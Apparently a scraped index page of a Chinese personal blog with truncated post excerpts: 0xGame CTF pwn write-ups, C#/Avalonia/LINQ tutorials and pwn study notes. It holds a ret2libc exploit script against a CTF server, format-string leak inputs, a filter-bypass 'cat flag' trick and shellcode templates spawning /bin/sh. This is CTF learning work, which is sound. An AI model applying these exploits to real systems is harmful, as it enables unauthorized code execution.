0xGame Week2 WP
pwnret2libc123456789101112131415161718io=remote("nc1.ctfplus.cn",30264)main=0x40122Dgot=0x404018plt=0x401070rdi=0x40119eret=0x40122cio.recvuntil(b"Input something: \n")payload=b'a'*0x48+p64(rdi)+p64(got)+p64(plt)+p64(main)io.send(payload)libc=ELF('./libc.so.6')base=u64(io.recv(6).ljust(8,b'\x00'))-libc.sym.putsprint(hex(base))sym=libc.sym.system+basesh=next(libc.search("/bin/sh"))+basepayload=b'a'*0x48+p64(ret)+p64(rdi)+p64...
VS中使用Avalonia
跨平台的“现代WPF”Avalonia 是一个 跨平台的 .NET UI 框架,专为构建高性能、视觉一致的桌面应用而设计,同时支持扩展到移动和网页平台。 它使用C#编写,依赖.Net SDK编译,既继承了 WPF 等传统 .NET UI 框架的优势,又解决了其跨平台能力的局限性。 在VS中使用安装VS+SDK从官网安装VS ,然后在VS Installer里根据开发需求选择工作负载安装。 进行 C# 开发一般需要选择 “.NET 桌面开发” 工作负载,如果要进行ASP.NET和 Web 开发,还需选择 “ASP.NET和 Web 开发” 工作负载。 如果在VS Installer里选了C#相关的工作负载安装,那么.Net SDK就已经包含了,若非,可以自行在官网上找你所需要的SDK安装。 安装Avalonia项目模板由于Avalonia是第三方框架,它目前无法直接在VS Installer安装器里勾选安装,而是需要在终端里安装: 1dotnet new install Avalonia.Templates 在CMD / PowerShell / Deve...
0xGame Week1 WP
Pwn数学题😭123456789101112131415from pwn import *context.log_level='debug'io=remote("nc1.ctfplus.cn",23143)io.recvuntil(b"Kore wa shiren da!(n") for i in range(1000): t=io.recvuntil(b"?")[:-3] if b"x" in t: t=t.decode() t =t.replace("x",'*' t=t.encode() num=eval(t) io.sendline(str(num).encode()) io.recvline() io.recvline()io.interactive() ncnc 域名/IP 端口号 命令执行ca\t flag 这样就可以啦。 栈溢出buf到rbp的偏移+8就是填充的垃圾数据的长度,后面再加上目标函数的返回地址...
流水账-Avalonia
流水账-Avalonia 近几天尝试用Avalonia搞了一个Draw(也算是借鉴🦊佬的学习路线了),但是非常悲伤的是没有设计出MVVM的架构,仅是MV架构就要我半条命,ViewModel层拼尽全力不知道该填些什么…小记一下我的折腾。 Model层没有高端的玩意儿,总而言之就是💩山,只有最最最基础的class,没有record、dictionary那些🥹,用不惯喵。我甚至把所有类都塞到了一个.cs文件里,不过能跑就⭐(×),唉唉,不管了。 我设计了四个类,Prize、Participant、DrawResult、DrawManager,分别用来放奖项信息、参与者信息、抽奖结果和抽奖发起者的行为。 前三个类存放相关信息,当然也要支持修改,支持读取,所以均使用{get;set;}访问控制器。 至于抽奖发起者,一个最重要的行为就是要组织开奖,也就是获取DrawWinners()的行为,而获奖者一般也不止一个,所以我选用了List,也就封装出了public List<DrawResult> DrawWinners()这个函数。接下来细想一下...
Day 02 LINQ
LINQ1. 什么是 LINQ?LINQ(Language Integrated Query,语言集成查询)是 C# 3.0 引入的一种查询语法,它让你能用类似 SQL 的语法来操作集合(对象、数组、XML、数据库数据等)。正是因为LINQ可以像SQL一样操作数据库,所以也被人戏称为db(database)。 核心思想:用一种统一的方式查询不同的数据源。 比如你要筛选一个数组中的偶数: 123456789101112131415161718192021using System;using System.Linq;class Program{ static void Main() { int[] numbers = { 1, 2, 3, 4, 5, 6 }; // 使用 LINQ 查询语法 var evens = from n in numbers where n % 2 == 0 select n; ...
Day 01 Csharp基础语法
🚀 Day 01 C#基础语法C#(C-Sharp)是微软开发的现代编程语言,运行在 .NET 平台 上。它语法与 Java、C++ 相似,但功能更强大,语法更现代化。 C# 的基础语法内容包括: 程序入口 数据类型 条件与循环 方法 面向对象(OOP) 语言亮点 数组与集合 1️⃣ 程序入口所有 C# 程序都从 Main 方法开始执行: 123456789using System;class Program{ static void Main(string[] args) { Console.WriteLine("Hello, C#!"); }} using System;:引入命名空间(类似 Java 的 import)。 class Program:定义类。 static void Main(string[] args):程序入口。 Console.WriteLine():打印输出。 2️⃣ 数据类型C# 是强类型语言,常见数据类型如下: 12345int age...
Day 05 格式化字符串漏洞
格式化字符串漏洞1. 漏洞原理在 C 语言中,printf 这一类函数会根据传入的 格式化字符串(format string)解析参数,例如: 1printf("hello %s\n", name); 但如果程序员直接写成: 1printf(input); 而没有提供额外参数,用户输入就会直接被当成格式化字符串解析。这时攻击者可以通过特殊的格式符(如 %p、%s、%n)来读取或写入内存,从而造成严重漏洞。 2. 基本利用方式(1) %p —— 打印栈上的地址 %p 会从栈上依次取出参数并以指针形式打印,不会解引用。 在没有参数的情况下,printf 还是会从栈上取值,因此我们能通过连续输入多个 %p 来泄露栈上的内容。 示例: 12输入: %p #打印二参的地址 输入: %7$p #打印第八个参数的地址 (2) %s —— 打印指定地址的字符串 %s 会把栈上的值当作 指针,然后尝试打印这个地址对应的字符串(解引用)。 示例: 1输入: %4$s #打印第五个参数解引用后的值 表示取栈上第 5 个参数的值作为地址,...
Day 04 shellcode之手写汇编小tips
Shellcode 汇编小 Tips如果shellcraft不适用,我们往往需要手写汇编构造更简短的 shellcode。本文整理了一些小技巧,帮助你快速写出合适的 shellcode。 前置知识1.mmap 与可执行内存有些题目会先用 mmap 给我们一块可读可写可执行的内存,比如: 1secret = (__int64)mmap((void *)0x111000, 0x1000uLL, 7, 34, -1, 0LL); 第一参数:映射地址(0 表示随机,>0x10000 时映射到自己) 第二参数:长度 第三参数:保护权限(7 = r + w + x=1+2+4) 第五参数:文件句柄(-1 表示匿名) 我们就可以把 shellcode 写入到这片内存里并执行。 2. 常见 syscall 编号Linux x64 下,常用的系统调用号: read = 0 write = 1 open = 2 execve = 59 (0x3b) 执行系统调用的一般步骤: 12345mov rax, <sys...
Day 03 shellcode之:板子做pwn,易如反掌
shellcraft杂谈1. 什么时候考虑写 shellcode?在 pwn 题里,是否写 shellcode一般要看是否能满足以下条件: 能把可控字节放进一块可执行内存:如程序把输入放到栈/堆且该段 可执行(NX 关闭);或能把内存权限改为可执行(有mprotect, mmap函数)。 所以写入shellcode前要先检查一下,确保shellcode写入到可执行内存中。若以上条件不满足,更适合探索其他路线。 2. shellcraft 的三个常用组件 shellcraft 是pwntools 里的一个模块(板子),会根据体系结构生成汇编片段。以下均以x64架构为例。 1context.arch = 'amd64' 2.1 shellcraft.sh() 作用:构造执行 execve("/bin/sh", 0, 0) 的 shellcode。 适用:允许 59 号系统调用、无 seccomp 限制。 用法示例: 123shellcode = shellcraft.sh() # execve("/...
Day 02 程序保护机制即绕过思路
ELF 文件的常见保护机制及绕过思路在 Pwn题目中,ELF(Executable and Linkable Format)文件通常会开启多种保护机制,以抵御常见的漏洞利用手段。理解这些保护机制的原理、检测方法及绕过思路,是成功解题的核心前提。本文将系统梳理 PWN 题目中主流的 ELF 保护机制,并详细分析对应的绕过方案。 前置须知 system("sh")、system("/bin/sh")、execve("/bin/sh", 0, 0)等函数可以用来获取 shell 权限。得到shell权限之后就可以cat flag了。 检测方式123checksec pwn # pwn为目标ELF文件# 如果报错可以使用checksec --file=pwn 输入以上代码会在终端里显示出ELF的保护机制。 主要保护机制及绕过思路一、NX(No-eXecute)保护:栈 / 堆不可执行1. 保护原理NX(No-eXecute,不可执行)是最基础的 ELF 保护机制之一,其核心作用是标记栈、堆等数据区域为 “不可执行...